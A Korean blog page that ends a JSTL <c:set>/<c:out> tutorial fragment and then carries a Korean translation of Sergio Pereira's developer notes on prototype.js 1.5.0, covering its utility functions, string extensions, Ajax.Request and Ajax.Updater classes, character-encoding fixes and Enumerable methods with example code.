    동적 데이터를 단순하게 하는 것 외에도 디폴트 값을 지정하는 <c:out>의 기능은 <c:set>을 통해 변수 값을 설정할 때에도 유용하다. 범위 변수에 할당된 값이 <c:set> 태그의 바디 콘텐트로 지정될수 있고 value 애트리뷰트로서도 가능하다. <c:out> 액션을 <c:set> 태그의 바디 콘텐트에 중첩하여 변수 할당은 이것의 디폴트 값을 이용할 수 있다. (Listing 11).

    이러한 접근 방식은 Listing 16에도 설명되어 있다. 외부 <c:set> 태그의 작동은 단순하다.


    Listing 16. <c:set>과 <c:out> 결합: 디폴트 변수 값 제공
    <c:set var="timezone" scope=="session">
       <c:out value="${cookie['tzPref'].value}" default=="CST"/>
    </c:set>
    

    소셜 북마크

    mar.gar.in mar.gar.in
    digg Digg
    del.icio.us del.icio.us
    Slashdot Slashdot

    요청에 제공된 tzPref 라는 이름의 쿠키가 없다. 내장 객체를 사용한 검색은 null이 된다는 것을 의미한다. 익스프레션은 전체적으로 null을 리턴한다. value 애트리뷰트를 계산한 값이 null 이기 때문에 <c:out> 태그는 default 애트리뷰트를 계산한 결과를 아웃풋한다.



    참고자료

    Posted by 1010
    반응형
     
     

    prototype.js를 위한 개발자 노트

    1.5.0버전을 다룸

    Sergio Pereira에 의해 작성됨
    이동국에 의해 번역됨
    최근 업데이트: 2007년 3월 4일

    목차

    Prototype은 무엇인가.?

    prototype.jsSam Stephenson에 의해 작성된 자바스크립트 라이브러리이다. 이 놀랍도록 멋진 생각과 표준에 의해 잘 작성된 코드의 일부는 웹2.0의 특성을 나타내는 풍부하고 상호작용하는 웹페이지와 많은 연관을 가진다.

    만약 당신이 최근 이 라이브러리를 사용하기 시작했다면, 당신은 아마도 이 문서가 가장 좋은 지시사항중에 하나는 아니라는것을 알아차렸을것이다. 나 이전에 다른 많은 개발자들처럼, 나는 소스코드와 이것을 사용한 경험에서 prototype.js에 대한 지식을 가지게 되었다. 나는 모든 이가 배우고 공유하는 동안 좀더 많은 정보를 얻게 되는게 가장 좋은 것이라고 생각한다.

    나는 objects, classes, functions, 그리고 이 라이브러리에 의해 제공되는 확장을 위한 비공식적인 참조문서 또한 제공한다.

    당신이 예제와 참조문서를 읽었을때, Ruby프로그래밍 언어에 친숙한 개발자는 Ruby의 내장 클래스와 이 라이브러리에 의해 구현된 많은 확장 사이의 의도적인 유사성을 알아차리게 될것이다.

    toc

    관련글

    고급 자바스크립트 가이드

    toc

    유틸리티 함수들

    라이브러리는 미리 정의된 많은 수의 객체와 유틸리티 함수를 가진다. 이 알기쉬운 함수들의 목적은 반복적인 타이핑과 어구를 많이 줄이는데 있다.

    toc

    $() 함수 사용하기

    $()함수는 가장 많이 사용되는 DOM의 document.getElementById()함수에 대한 편리한 단축키이다. DOM함수처럼, 이것은 인자로 던져진 id를 가진 요소를 하나 반환한다.

    DOM함수와는 달리 이 함수는 더 많은 작업을 수행한다. 반환된 element객체는 몇가지 추가적인 작업을 하게 될것이다. element를 숨기거나 보여주고 크기를 알아내며 element에 대해 스크롤을 하는 것과 같은 추가적인 많은 작업을 간단하게 만든다. Element 객체를 위한 참조문서에서 반환된 element객체에 추가된 메소드 목록을 얻을수 있다.

    <html>
    <head>
    <title> Test Page </title>
    <script src="prototype.js"></script>
    
    <script>
    	function test(){
    		var d = $('myDiv');
    		alert(d.innerHTML);
    		d.hide();
    		d.show();
    		d.addClassName('active');
    	}
    </script>
    </head>
    
    <body>
    	<div id="myDiv">
    		<p>This is a paragraph</p>
    	</div>
    	<div id="myOtherDiv">
    		<p>This is another paragraph</p>
    	</div>
    
    	<input type="button" value="Test $()" onclick="test();"/><br/> 
    
    </body>
    </html>

    이 함수의 좋은 점은 이것은 인자형태를 가질수 있는 다른 함수를 생성할때 매우 유용하도록 만들어주는 id문자열이나 요소객체 자체를 던질수 있다는 것이다.

    toc

    $$() 함수 사용하기

    $$() 함수는 내용물에서 CSS를 일관되게 분리할때 많이 도와줄것이다. 하나 이상의 CSS필터링 표현식을 파싱한다면, CSS 룰을 정의하기 위해 사용되는 것과 유사하고 이러한 필터에 일치하는 요소를 반환한다.

    이 함수는 터무니 없을 정도로 사용하기가 쉽다. 체크해보라.

    <script>
    function test$$(){
    	/*
    	  in case CSS is not your forte, the expression below says
    	  'find all the INPUT elements that are inside 
    	  elements with class=field that are inside a DIV
    	  with id equal to loginForm.'
    	*/
    	var f = $$('div#loginForm .field input');
    	var s = '';
    	for(var i=0; i<f.length; i++){
    		s += f[i].value + '/';
    	}
    	alert(s); // shows: "joedoe1/secret/"
    	
    	//now passing more than one expression
    	f = $$('div#loginForm .field input', 'div#loginForm .fieldName');
    	s = '';
    	for(var i=0; i<f.length; i++){
    		s += ( f[i].value ? f[i].value : f[i].innerHTML ) + '/';
    	}
    	alert(s); //shows: "joedoe1/secret/User name:/Password:/"
    }
    
    
    </script>
    
    <div id='loginForm'>
    	<div class='field'>
    		<span class='fieldName'>User name:</span>
    		<input type='text' id='txtName' value='joedoe1'/>
    	</div>
    	<div class='field'>
    		<span class='fieldName'>Password:</span>
    		<input type='password' id='txtPass' value='secret' />
    	</div>
    	<input type='submit' value='login' />
    </div> 
    <input type=button value='test $$()' onclick='test$$();' />
    			

    성능에 대한 빠른 노트. prototype.js에서 $$() 함수의 현재 구현체는 특별히 효과적으로 여겨지지 않는다. 이 함수를 자주 사용하여 복잡한 HTML문서를 처리하고자 계힉중이라면, 가능한 $$()함수 자체를 대체하는 다른 구현체를 고려하고자 할것이다.

    toc

    $F() 함수 사용하기

    $F() 함수는 다른 단축키이다. 이것은 텍스트 박스나 드랍다운 리스트와 같은 어떤 필드의 입력 컨트롤의 값을 반환한다. 이 함수는 요소 id나 요소객체 자체를 인자로 가질수 있다.

    <script>
    	function test3()
    	{
    		alert(  $F('userName')  );
    	}
    </script>
    
    <input type="text" id="userName" value="Joe Doe"><br/> 
    <input type="button" value="Test3" onclick="test3();"><br/> 
    			

    toc

    $A() 함수 사용하기

    $A() 함수는 이것을 받아들이는 하나의 인자를 Array객체로 변환한다.

    Array 클래스를 위한 확장과 조합된 이 함수는 열거가능한 리스트를 Array 객체로 변환하거나 복사하는 것을 더욱 쉽게 만든다. 예를 들면, 작성한 함수는 인자의 수를 유연하게 받아들인다. 여기서 추천되는 사용법은 DOM NodeLists를 좀더 효과적으로 처리할수 있도록 일반적인 배열로 변환하기 위해 사용하는 것이다. 아래의 예제를 보라.

    <script>
    
    	function showOptions(){
    		var someNodeList = $('lstEmployees').getElementsByTagName('option');
    		var nodes = $A(someNodeList);
    
    		nodes.each(function(node){
    				alert(node.nodeName + ': ' + node.innerHTML);
    			});
    	}
    </script>
    
    <select id="lstEmployees" size="10" >
    	<option value="5">Buchanan, Steven</option>
    	<option value="8">Callahan, Laura</option>
    	<option value="1">Davolio, Nancy</option>
    </select>
    
    <input type="button" value="Show the options" onclick="showOptions();" > 
    			

    toc

    $H() 함수 사용하기

    $H() 함수는 객체를 결합된 배열을 열거하는 Hash객체로 변환한다.

    <script>
    	function testHash()
    	{
    		//let's create the object
    		var a = {
    			first: 10,
    			second: 20,
    			third: 30
    			};
    
    		//now transform it into a hash
    		var h = $H(a);
    		alert(h.toQueryString()); //displays: first=10&second=20&third=30
    	}
    
    </script>
    			

    toc

    $R() 함수 사용하기

    $R() 함수는 new ObjectRange(lowerBound, upperBound, excludeBounds)를 작성하기 위한 짧은 형태이다.

    이 클래스의 완전한 설명을 보기 위해 ObjectRange 클래스 문서를 보라. each 메소드를 통해 반복(iterators)의 사용법을 보여주는 간단한 예제를 보자. 더 많은 메소드는 Enumerable 클래스 문서에서 볼수 있을것이다.

    <script>
    	function demoDollar_R(){
    		var range = $R(10, 20, false);
    		range.each(function(value, index){
    			alert(value);
    		});
    	}
    
    </script>
    
    <input type="button" value="Sample Count" onclick="demoDollar_R();" /> 
    			

    toc

    Try.these() 함수 사용하기

    Try.these() 함수는 인자처럼 많은 수의 함수를 가지고 그것들을 순서대로 차례차례 호출하도록 해준다. 이것은 함수중에 하나씩 수행하고 성공적인 함수호출의 결과를 반환할때까지 순차적으로 수행된다.

    아래의 예제에서 xmlNode.text 함수는 몇몇 브라우저에서 작동하고 xmlNode.textContent는 다른 브라우저에서 작동한다. Try.these()함수를 사용하면 당신은 작동하는 것 중 하나를 반환할수 있다.

    <script>
    function getXmlNodeValue(xmlNode){
    	return Try.these(
    		function() {return xmlNode.text;},
    		function() {return xmlNode.textContent;}
    		);
    }
    </script>
    			

    toc

    String을 향상시키기

    String은 강력한 객체이다. Prototype.js는 그 강력함을 가지고 있으며 다른 방법으로 그 강력함을 향상시킨다.

    문자열 대체

    문자열 대체를 사용할때 자바스크립트는 이미 String.Replace와 같은 메소드를 제공하고 있다. 정규표현식으로 작동하지만 prototype.js에서 소개한 대체 함수만큼 유연하지는 않다.

    새로운 String.gsub 메소드를 사용해보라. 이 메소드를 사용하면 고정 문자열이나 정규 표현식 패턴을 찾고 변경할수 있을 뿐 아니라 교체를 넘어서는 더 많은 제어를 하게 된다. 예를 들어 찾은 요소를 변형하고자 하는 방법을 메소드에 지시하도록 문자열 템플릿을 사용할수 있다.

    아래의 예제는 't'를 포함하는 단어를 찾고 그 위치에 'tizzle' 로 변경하는 것이다. 이 예제의 경우 명확하게 설명되지는 않는다. 우리가 선택한 정규 표현식인 괄호안의 \w+은 그룹 선언을 가져온다. 대체 템플릿 문자열로 #{1}를 사용하여 이 그룹에 의해 해당되는 값을 가져올수 있다.

    예제에서 우리는 't'앞의 문자들을 가져와서 'tizzle'를 뒤에 붙인다. 정규 표현식으로 더 많은 찾을 수 있다면, #{2}, #{3} 등등을 사용하여 값을 가져올것이다.

    <script>
    function talkLikeYouKnowSomething(){
    	var s = 'prototype string extensions can help you';
    	var snoopdogfy = /\b(\w+)t\w+\b/;
    	var snooptalk = s.gsub(snoopdogfy, '#{1}tizzle' );
    	alert(snooptalk); // shows: "prototizzle stizzle extizzle can help you"				
    }
    </script>
    			

    여기서 멈추지 말자. 우리가 만든 대체기능은 패턴에 일치하면 대체하는데 제한되기 때문에 그다지 강력하다고 보기 힘들다. 그렇다면 원하는 대체 값을 만들기 위해 사용자 정의 로직에 일치하는 작업을 할수 있을까.? gsub에 두번째 인자로 함수를 넘길수 있다면 그렇게 할수 있을것이다. 여기서 인자로 넘기는 함수는 일치하는 텍스트를 가진 배열(인덱스값이 0)을 받고 어떤 그룹값(인덱스값이 1에서 N)을 가져올것이다.

    <script>
    function scamCustomers(){
    	var prices = 'book1 $12.5, magazine $5.50, pencil $1.20';
    	var priceFinder = /\$([0-9\.]+)/;
    	var r = prices.gsub(priceFinder, jackUp);
    	alert(r);//shows: "book1 $13.75, magazine $6.05, pencil $1.32"
    }
    	
    function jackUp(matches){
    	//increases the prices by 10%
    	var price = parseFloat(matches[1]);
       	return '$' + Math.round(110 * price)/100;
    }
    </script>
    			

    문자열 템플릿

    애플리케이션에 자바스크립트 코드의 양이 증가하는 만큼, increasingly you'll find yourself with collections of objects of the same type and that you need to list or present in a formatted way.

    애플리케이션에서 객체 리스트를 통해 루프를 처리하고 객체 프라퍼티와 몇가지 고정된 형태의 요소에 기초하여 문자열을 만드는 코드를 찾는것이 드물게 발생하지는 않는다. Prototype.js는 이러한 타입의 시나리오를 다루는데 도움을 주는 Template class를 가진다.

    아래의 예제는 다중 HTML라인에서 장바구니에 있는 항목 리스트를 형상화하는 방법을 보여준다.

    <script>
    function printCart(){
    	//creating a sample cart
    	var cart = new Object();
    	cart.items = [ ];
    	//putting some sample items in the cart
    	cart.items.push({product: 'Book 123', price: 24.50, quantity: 1});
    	cart.items.push({product: 'Set of Pens', price: 5.44, quantity: 3});
    	cart.items.push({product: 'Gift Card', price: 10.00, quantity: 4});
    	
    	//here we create our template for formatting each item
    	var itemFormat = new Template(
    			'You are ordering #{quantity} units ' + 
    			'of #{product} at $#{price} each'
    			);
    	var formatted = '';
    	
    	for(var i=0; i<cart.items.length; i++){
    		var cartItem = cart.items[i];
    		formatted += itemFormat.evaluate(cartItem) + '<br/>\n';
    	}
    	
    	alert(formatted);
    	/* SHOWS:
    	You are ordering 1 units of Book 123 at $24.5 each<br/>
    	You are ordering 3 units of Set of Pens at $5.44 each<br/>
    	You are ordering 4 units of Gift Card at $10 each<br/>
    	*/
    }
    </script>
    			

    새로운 메소드 목록에 대한 좀더 완전한 정보를 보기 위해서는 문자열 확장 참조를 보라.

    toc

    Ajax 객체

    위에서 언급된 유틸리티 함수들은 좋다. 하지만 다시 보자. 그것들은 대부분 고급(advanced) 형태는 아니다. 당신은 스스로 이것들을 만들수 있고 당신 자신만의 스크립트에 유사한 함수를 이미 가지고 있을수도 있다. 하지만 이러한 함수들은 단지 일부분에 해당되는 팁일뿐이다.

    나는 prototype.js에 대한 당신의 관심이 대부분의 AJAX기능을 다룰수 있다는 것이라고 확신한다. 그래서 당신이 AJAX로직을 수행할 필요가 있을때 좀더 쉽게 사용하도록 도와주는 라이브러리를 사용하는 방법을 살펴보자.

    AJAX객체는 AJAX함수를 작성할 때 포함되는 트릭성격의 코드를 포장하고 단순화하기 위한 라이브러리에 의해 생성된 미리-정의된 객체이다. 이 객체는 캡슐화된 AJAX로직을 제공하는 많은 수의 클래스를 포함한다. 그 클래스중에 몇개를 살펴보자.

    toc

    Ajax.Request 클래스 사용하기

    만약 당신이 어떠한 헬퍼(helper) 라이브러리도 사용하지 않는다면, 당신은 XMLHttpRequest객체를 생성하기 위한 많은 코드를 작성할 것이고 단계를 비동기적으로 수행할것이다. 그리고나서 응답을 뽑아내고 이것을 처리한다. 그리고나서는 한가지 이상의 브라우저를 지원하지 않는다면 스스로 행운이라고 생각할 것이다.

    AJAX기능을 지원하기 위해, 라이브러리는 Ajax.Request클래스를 정의한다.

    당신이 다음처럼 XML응답을 반환하는 http://yourserver/app/get_sales?empID=1234&year=1998 url을 통해 서버와 통신할수 있는 애플리케이션을 가지고 있다고 해보자.

    <?xml version="1.0" encoding="utf-8" ?> 
    <ajax-response>
    	<response type="object" id="productDetails">
    		<monthly-sales>
    			<employee-sales>
    				<employee-id>1234</employee-id> 
    				<year-month>1998-01</year-month> 
    				<sales>$8,115.36</sales> 
    			</employee-sales>
    			<employee-sales>
    				<employee-id>1234</employee-id> 
    				<year-month>1998-02</year-month> 
    				<sales>$11,147.51</sales> 
    			</employee-sales>
    		</monthly-sales>
    	</response>
    </ajax-response>			
    			

    XML을 가져오기 위해 서버와 통신하는 것은 Ajax.Request객체를 사용하면 매우 간단하다. 아래의 샘플은 이것을 수행하는 방법을 보여준다.

    <script>
    	function searchSales()
    	{
    		var empID = $F('lstEmployees');
    		var y = $F('lstYears');
    		var url = 'http://yourserver/app/get_sales';
    		var pars = 'empID=' + empID + '&year=' + y;
    		
    		var myAjax = new Ajax.Request(
    			url, 
    			{
    				method: 'get', 
    				parameters: pars, 
    				onComplete: showResponse
    			});
    		
    	}
    
    	function showResponse(originalRequest)
    	{
    		//put returned XML in the textarea
    		$('result').value = originalRequest.responseText;
    	}
    </script>
    
    <select id="lstEmployees" size="10" onchange="searchSales()">
    	<option value="5">Buchanan, Steven</option>
    	<option value="8">Callahan, Laura</option>
    	<option value="1">Davolio, Nancy</option>
    </select>
    <select id="lstYears" size="3" onchange="searchSales()">
    	<option selected="selected" value="1996">1996</option>
    	<option value="1997">1997</option>
    	<option value="1998">1998</option>
    </select>
    <br/><textarea id="result" cols=60 rows=10 ></textarea>
    			

    Ajax.Request객체 생성자의 두번째 파라미터를 알아보겠는가.? {method: 'get', parameters: pars, onComplete: showResponse} 파라미터는 문자적 표기법으로 익명 객체를 나타낸다. 이것이 의미하는 것은 'get' 문자열을 포함하는 명명된 메소드(method)의 프라퍼티, HTTP요청 문자열을 포함하는 명명된 파라미터(parameter)라는 프라퍼티, 그리고 함수 showResponse를 포함하는 onComplete 프라퍼티/메소드를 가지는 객체를 전달한다는 것이다.

    당신이 AJAX를 비동기적으로(asynchronous) 서버에 호출할지를 결정하고 truefalse값으로 셋팅할수 있는 asynchronous(디폴트 값은 true이다.)와 같은 이 객체내 정의하고 활성화시킬수 있는 다른 프라퍼티가 몇개 있다.

    이 파라미터는 AJAX호출을 위한 옵션을 정의한다. 샘플에서, 우리는 HTTP GET명령을 통해 첫번째 인자에서 url을 호출한다. 변수 pars내 포함된 조회문자열(querystring)을 전달하고 Ajax.Request객체는 응답을 받아들이는 작업을 마칠때 showResponse함수를 호출할 것이다.

    당신이 아는것처럼, XMLHttpRequest는 HTTP호출을 하는 동안 진행과정을 보고한다. 이 진행과정은 4가지의 단계(Loading, Loaded, Interactive, 또는 Complete)를 알릴수 있다. 당신은 이러한 단계중에서 Ajax.Request객체 호출을 사용자정의 함수로 만들수 있다. Complete는 가장 공통적인 단계이다. 함수를 객체에게 알리기 위해, 우리 예제의 onComplete처럼 요청옵션내 onXXXXX로 명명된 프라퍼티/메소드를 간단히 제공하라. 당신이 전달하는 이 함수는 XMLHttpRequest객체 자체가 될 하나의 인자를 가진 객체에 의해 호출될것이다. 당신은 반환 데이터를 얻기 위해 이 객체를 사용할수 있고 아마도 호출의 HTTP결과 코드를 포함할 상태(status) 프라퍼티를 체크할것이다. 몇가지 스크립트나 JSON형태의 데이터를 반환하고자 한다면 X-JSON 헤더가 유용하다.

    두개의 다른 흥미로운 옵션은 결과를 처리하기 위해 사용될수 있다. 우리는 AJAX호출이 에러없이 수행될때 호출될 함수처럼 onSuccess옵션을 명시할수 있다. onFailure옵션은 서버에러가 발생할때 호출될 함수가 될수 있다. onXXXXX의 선택적인 함수처럼, 이 두가지는 AJAX호출을 옮기고 X-JSON헤더를 체크하는 XMLHttpRequest를 전달하도록 호출될 것이다.

    우리의 샘플은 흥미로운 방법으로 XML응답을 처리하지는 않았다. 우리는 textarea내 XML을 집어넣었다. 응답의 전형적인 사용법은 XML내부에서 바라는 정보를 찾고자 할것이고 몇몇 페이지 요소나 페이지내 HTML을 만드는 몇가지의 XSLT변형을 업데이트할것이다.

    1.4.0 버전에서, 이벤트 콜랙 핸들링의 새로운 형태가 소개되었다. 만약 당신이 AJAX호출이 발생하는데도 불구하고 특정 이벤트를 위해 수행되어야 하는 코드를 가지고 있다면, 당신은 새로운 Ajax.Responders 객체를 사용할수 있다.

    당신이 AJAX호출이 진행중이라는 시각적 표시를 보여주길 원한다고 해보자. 당신은 두개의 전역 이벤트 핸들러를 사용할수 있다. 하나는 첫번째 호출이 시작되었을때 아이콘을 보여주는것이고 다른 하나는 적어도 하나가 끝났을때 아이콘을 숨기는 것이다. 아래의 예제를 보자.

    <script>
    	var myGlobalHandlers = {
    		onCreate: function(){
    			Element.show('systemWorking');
    		},
    
    		onComplete: function() {
    			if(Ajax.activeRequestCount == 0){
    				Element.hide('systemWorking');
    			}
    		}
    	};
    
    	Ajax.Responders.register(myGlobalHandlers);
    </script>
    
    <div id='systemWorking'><img src='spinner.gif'>Loading...</div>
    	

    좀더 완전한 설명을 보기 위해서, Ajax.Request 참조options 참조를 보라..

    toc

    Ajax.Updater 클래스 사용하기

    만약 당신이 HTML로 이미 포맷팅된 정보를 반환할수 있는 서버 종료점(endpoint)을 가진다면, 라이브러리는 당신이 Ajax.Updater클래스를 사용하는것을 좀더 쉽게 만들어준다. 이것으로 당신은 어느 요소가 AJAX호출로부터 반환된 HTML을 채우는지 알리게 된다. 예제는 내가 글로 표현하는 것보다 당신을 좀더 쉽게 이해하도록 도와줄것이다.

    <script>
    	function getHTML()
    	{
    		var url = 'http://yourserver/app/getSomeHTML';
    		var pars = 'someParameter=ABC';
    		
    		var myAjax = new Ajax.Updater(
    			'placeholder', 
    			url, 
    			{
    				method: 'get', 
    				parameters: pars
    			});
    		
    	}
    </script>
    
    <input type="button" value="GetHtml" onclick="getHTML()"/>
    <div id="placeholder"></div>
    			

    당신이 보는것처럼, 코드는 onComplete함수와 생성자에 전달된 요소 id를 제외하고 이전예제에 비해서 매우 간단하다. 클라이언트에서 서버 에러들을 다루는 것이 어떻게 가능한지 보기 위해 코드를 조금 변경해 보자.

    우리는 호출을 위해 더 많은 옵션을 추가하고 에러 상황을 뽑아내기 위해 함수를 명시한다. 이것은 onFailure옵션을 사용하여 수행한다. 우리는 성공적인 작동의 경우에만 활성화될 묶음자(placeholder)를 명시할것이다. 이것을 달성하기 위해, 우리는 간단한 요소 id에서 두개의 프라퍼티(success-모든것이 정상적일때 사용되는, failure-어떤것이 실패일때 사용되는)를 가지는 객체로 첫번째 파라미터를 변경할 것이다. 우리는 예제에서 failure 프라퍼티를 사용하지 않을것이고, onFailure옵션에서 reportError함수를 사용할것이다.

    <script>
    	function getHTML()
    	{
    		var url = 'http://yourserver/app/getSomeHTML';
    		var pars = 'someParameter=ABC';
    		
    		var myAjax = new Ajax.Updater(
    					{success: 'placeholder'}, 
    					url, 
    					{
    						method: 'get', 
    						parameters: pars, 
    						onFailure: reportError
    					});
    		
    	}
    
    	function reportError(request)
    	{
    		alert('Sorry. There was an error.');
    	}
    </script>
    
    <input type="button" value="GetHtml" onclick="getHTML()"/>
    <div id="placeholder"></div>
    
    			

    만약 당신의 서버 로직이 HTML마크업 대신에 자바스크립트 코드를 반환한다면, Ajax.Updater객체는 자바스크립트 코드가 될수 있다. 자바스크립트로 응답을 처리하기 위한 객체를 얻기 위해, 당신은 객체 생성자의 마지막 인자로 프라퍼티들의 목록에 evalScripts: true;를 간단히 추가한다. 하지만 여기엔 문제가 있다. 이러한 스크립트 블럭은 페이지의 스크립트에 추가되지 않을것이다. 옵션이름인 evalScripts이 제시하는것처럼, 스크립트는 평가될것이다. 차이점이 무엇일까.? 요청된 URL이 반환하는 것이 무엇인지 추측해보자.

    <script language="javascript" type="text/javascript">
    	function sayHi(){
    		alert('Hi');
    	}
    </script>
    
    <input type="button" value="Click Me" onclick="sayHi()"/>
    			

    이 경우 당신이 이전에 이것을 시도했다면 이것이 작동하지 않는것을 알고 있을것이다. 이유는 스크립트 블럭은 평가될것이고 평가된 스크립트는 sayHi 라는 이름의 함수를 생성하지 않을것이다. 이것은 아무것도 하지 않을것이다. 이 함수를 생성하기 위해, 우리는 함수를 생성하기 위해 변경할 필요가 있다. 아래를 보라.

    <script language="javascript" type="text/javascript">
    	sayHi = function(){
    		alert('Hi');
    	};
    </script>
    
    <input type="button" value="Click Me" onclick="sayHi()"/>
    			

    이전 예제에서, 우리는 변수를 선언하기 위해 var 키워드를 사용하지 않았다. 그렇게 하는 것은 스크립트 블럭에 지역화될 함수 객체를 생성할것이다. var 키워드 없이 함수 객체는 window범위에서 작동한다.

    좀더 상세한 complete설명을 위해서는, Ajax.Updater 참조문서options 참조문서를 보라.

    toc

    What are all those "?" and squares?

    So you went and wrote some quick test scripts to update your pages using the Ajax.Updater object and it all worked fine. Life was good until you ran your scripts against real data. All of a sudden the updated text was displayed with question marks or unprintable character symbols where the non-English characters should be.

    Your first suspect is prototype.js, Of course, it seemed too easy to be true. But don't blame the library just yet. Ask yourself how much you really understand character encoding, code pages, and how the browser deals with it. If you have a positive answer then I bet you are on your way to fix the problem. If you are among the other 80% (another useless, imprecise author's estimate) of web developers that take character encoding for granted, keep reading.

    I won't pretend to be an authority on the topic, much less give you a complete explanation of how this is best handled. Instead you go straight to the solution that I use and provide hints on how this could be fixed in your own scenario.

    Simply put, the solution revolves around the following statement: Serve what the browser is expecting you to serve. If we are going to update the page with text that contains Unicode/UTF-8 characters then we better make the browser aware of that.

    Let's start with the simple case when you are just updating the page with text from a static HTML file that resides on your server. When you created that file, depending on which text editor you employed, it is very possible that the file was saved in ANSI (or better said, non-Unicode) format. This is the default for many text editors, especially source code editors, because the file size will be smaller and it's rather unusual to edit source code with Unicode characters in it.

    Suppose you have the following file named static-content.html on your server. You saved this file saved in ANSI format.

    <div>
    	Hi there, José. Yo no hablo español.
    </div>

    Your main page updates itself using something like the snippet below.

    <script>
    	function updateWithFile(){
    		var url = 'static-content.html';
    		var pars = '';
    		var myAjax = new Ajax.Updater(
    				'placeholder', url, 
    				{method: 'get', parameters: pars});
    	}
    </script>
    <div id="placeholder">(this will be replaced)</div>
    <input id="btn" value="Test With Static File" 
                     onclick="updateWithFile()" type="button"/>
    
    

    When you click the button the static file is retrieved but the non-English characters are replaced by question marks or some other symbol. The displayed text will look similar to "Hi there, Jos?. Yo no hablo espa?ol." or "Hi there, Jos?Yo no hablo espa?", depending on your browser.

    In this case, the solution is straightforward, simply save the static file in an appropriate format. Let's save it in UTF-8 and run the script again (any decent text editor will have an option in the Save As dialog.) You should now see the correct text (if not, your browser may have cached the old version, try using a different file name.)

    If the HTML that you are serving is not static, if it is being dynamically generated by some application framework (like ASP.NET, PHP, or even Perl,) make sure the code that generates this HTML is producing the text in the appropriate encoding and code page, and include in the HTTP response headers one header that informs this. Each platform has a different way to achieve this, but they are very similar.

    For example, in ASP.NET you can set this globally in your web.config file and the default configuration is good enough to avoid this problem in the first place. You should already have the following section in your web.config.

    <globalization requestEncoding="utf-8" responseEncoding="utf-8" />

    고전적인 ASP 3.0에서 다음의 코드를 사용하여 이 문제를 해결할수 있다.

    Response.CodePage = 65001
    Response.CharSet = "utf-8" 

    PHP에서 응답 헤더를 추가하기 위한 문법은 다음과 같을것이다.

    <?php header('Content-Type: text/html; charset=utf-8'); ?>

    어떤 경우에는, 당신이 생각하는 목표가 응답 메시지에 다음 HTTP 헤더를 보내는 것이다.

    Content-Type: text/html; charset=utf-8 

    위 예제에서는 UTF-8을 사용했지만 다른 셋팅이 필요하다면 쉽게 바꿀수 있다.

    열거(Enumerating)...

    우리는 루프(loop)에 친숙하다. 당신이 알다시피, 배열 자체를 생성하고 같은 종류의 요소로 채운다. 루프 제어구조(이를 테면, foreach, while, repeat 등등)을 생성하고 숫자로 된 인덱스를 통해 순차적으로 각각의 요소에 접근하고 그 요소로 작업을 수행한다.

    당신이 이것에 대해 생각할때, 언제나 당신은 코드에 배열을 가지고 루프내 배열을 사용할것이라는것을 의미한다. 이러한 반복을 다루기 위해 좀더 많은 기능을 가진 배열 객체가 있다면 좋지 않겠는가.? 그렇다. 많은 프로그래밍 언어는 배열이나 유사한 구조(collection과 list와 같은)에서 이러한 기능을 제공한다.

    prototype.js는 우리에게 반복가능한 데이터를 다룰때 사용하도록 구현된 Enumerable 객체를 제공한다. prototype.js 라이브러리는 더 나아가 Enumerable의 모든 메소드로 Array 클래스를 확장한다

    toc

    루프, 루비-스타일

    표준 자바스크립트에서, 당신이 배열의 요소를 순차적으로 표시하길 원한다면, 당신은 다음처럼 작성할수 있다.

    <script>
    	function showList(){
    		var simpsons = ['Homer', 'Marge', 'Lisa', 'Bart', 'Maggie'];
    		for(i=0;i<simpsons.length;i++){
    			alert(simpsons[i]);
    		}
    	}
    
    </script>
    
    <input type="button" value="Show List" onclick="showList();" /> 
    			

    prototype.js를 사용하면, 다음과 같이 다시 작성할수 있다.

    
    	function showList(){
    		var simpsons = ['Homer', 'Marge', 'Lisa', 'Bart', 'Maggie'];
    		simpsons.each( function(familyMember){
    			alert(familyMember);
    		});
    	}
    			

    당신은 특이한 문법으로 별로 좋지않다고 생각할지도 모른다. 위 예제에서, 엉망으로 만드는 것은 아무것도 없다. After all, there's not much to be changed in such a drop-dead-simple example. But keep reading, nonetheless.

    each 메소드에 대한 인자처럼 전달되는 이 함수는 보았는가.? iterator 함수처럼 이것을 참조해보자.

    toc

    스테로이드(steroids)에서 당신의 배열

    위에서 언급된것처럼, 이것은 같은 프라퍼티와 메소드를 가지는 배열내 모든 요소를 위해 공통이다. 우리의 새로운 배열을 가지고 iterator함수의 장점을 가질수 있는 방법을 보자.

    문법에 따르는 요소를 찾아라.

    <script>
    	function findEmployeeById(emp_id){
    		var listBox = $('lstEmployees')
    		var options = listBox.getElementsByTagName('option');
    		options = $A(options);
    		var opt = options.find( function(employee){
    			return (employee.value == emp_id);
    		});
    		alert(opt.innerHTML); //displays the employee name
    	}
    </script>
    
    <select id="lstEmployees" size="10" >
    	<option value="5">Buchanan, Steven</option>
    	<option value="8">Callahan, Laura</option>
    	<option value="1">Davolio, Nancy</option>
    </select>
    
    <input type="button" value="Find Laura" onclick="findEmployeeById(8);" /> 
    			

    배열에서 항목을 걸러내는 방법을 보자. 그리고나서 각각의 요소로부터 맴버를 가져온다.

    <script>
    	function showLocalLinks(paragraph){
    		paragraph = $(paragraph);
    		var links = $A(paragraph.getElementsByTagName('a'));
    		//find links that do not start with 'http'
    		var localLinks = links.findAll( function(link){
    			//we'll just assume for now that external links
    			// do not have a '#' in their url
    			return link.href.indexOf('#') >= 0;
    		});
    		//now the link texts
    		var texts = localLinks.pluck('innerHTML');
    		//get them in a single string
    		var result = texts.inspect();
    		alert(result);
    	}
    
    </script>
    <p id="someText">
    	This <a href="http://othersite.com/page.html">text</a> has 
    	a <a href="#localAnchor">lot</a> of 
    	<a href="#otherAnchor">links</a>. Some are 
    	<a href="http://wherever.com/page.html">external</a>
    	and some are <a href="#someAnchor">local</a>
    </p>
    <input type="button" value="Find Local Links" onclick="showLocalLinks('someText')"/>
    			

    이것은 이 문법에 완전히 빠지도록 하기 위한 몇가지 예제를 가진다. 사용가능한 모든 함수를 위해 Enumerable and Array 참조문서를 보라.

    toc

    내가 강력하게 추천하는 책들.

    다음의 책들은 AJAX애플리케이션을 만들기 위해 요구되는 새로운 스킬을 배우는데 많은 도움을 주었고 이미 알고 있던 스킬을 좀더 탄탄하게 만들어주었다. 나는 좋은 책이 충분히 금적적인 가치를 하고 오랜시간동안 가치를 이어간다고 생각한다.

    toc

    prototype.js 참조

    JavaScript 클래스에 대한 확장

    prototype.js라이브러리에 기능을 추가하기 위한 방법중 하나는 현재 존재하는 JavaScript클래스를 확장하는 것이다.

    toc

    Object 클래스를 위한 확장

    메소드 종류 인자 상세설명
